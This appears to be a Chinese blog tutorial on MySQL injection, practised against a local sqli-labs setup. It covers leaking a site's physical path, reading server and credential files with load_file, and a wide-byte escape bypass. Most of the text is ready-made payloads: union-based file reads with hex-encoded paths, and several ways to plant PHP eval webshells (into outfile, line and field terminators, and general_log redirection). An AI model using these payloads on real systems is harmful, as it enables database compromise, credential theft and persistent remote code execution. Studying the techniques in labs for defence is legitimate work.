MYSQL注入|文件读写|获取敏感信息|上传getshell|绕过宽字节、magic_quotes_gpc

1.SQL注入的思维导图

请添加图片描述

2.MYSQL注入思维导图

请添加图片描述

3.文件读写

文件读写操作:

load_file():读取函数
into outfile或iinto dumpfile:导出函数

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。

获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等

获取路径常见方法

(1).报错显示

一般网站出现错误的时候它会泄露出路径

请添加图片描述

(2).遗留文件

请添加图片描述

请添加图片描述

(3).漏洞报错

知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径

请添加图片描述

(4).平台配置文件

通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

(5). 爆破

windows:
d:/wwwroot/xiaodi8/
linux:
/var/www/xiaodi8

文件读写函数

(1)load_file():读取函数

MYSQL注入中,load_file(函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件

具体参考链接:https://www.cnblogs.com/milantgh/p/3842306.html

使用方法:

请添加图片描述

构造其pyload: 127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,load_file(‘d:/www.txt’),3

请添加图片描述

当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线或者遇到宽字节,会屏蔽单引号。都可以将文件路径加密成十六进制,下面是以宽字节来举例说明。

将文件路径加密成十六进制,例如C:/phpstudy_pro/WWW/sql/sql-connections/db-creds.inc 加密成 0x433A2F70687073747564795F70726F2F5757572F73716C2F73716C2D636F6E6E656374696F6E732F64622D63726564732E696E63

请添加图片描述

构造其pyload: ?id=-1%df’+union+select+1,load_file(0x433A2F70687073747564795F70726F2F5757572F73716C2F73716C2D636F6E6E656374696F6E732F64622D63726564732E696E63),3–+

请添加图片描述

(2)into outfile或iinto dumpfile:导出函数

请添加图片描述

构造其pyload: 127.0.0.1/sql/Less-2/?id=-1 union select 1,‘xxx’,3 into outfile ‘F:\phpstudy\1.php’–+
请添加图片描述

写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE ‘物理路径’ lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE ‘物理路径’ fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE ‘物理路径’ columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE ‘物理路径’ lines starting by (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             #写入shell
set global general_log=off;                  #关闭general log模式
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1dm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值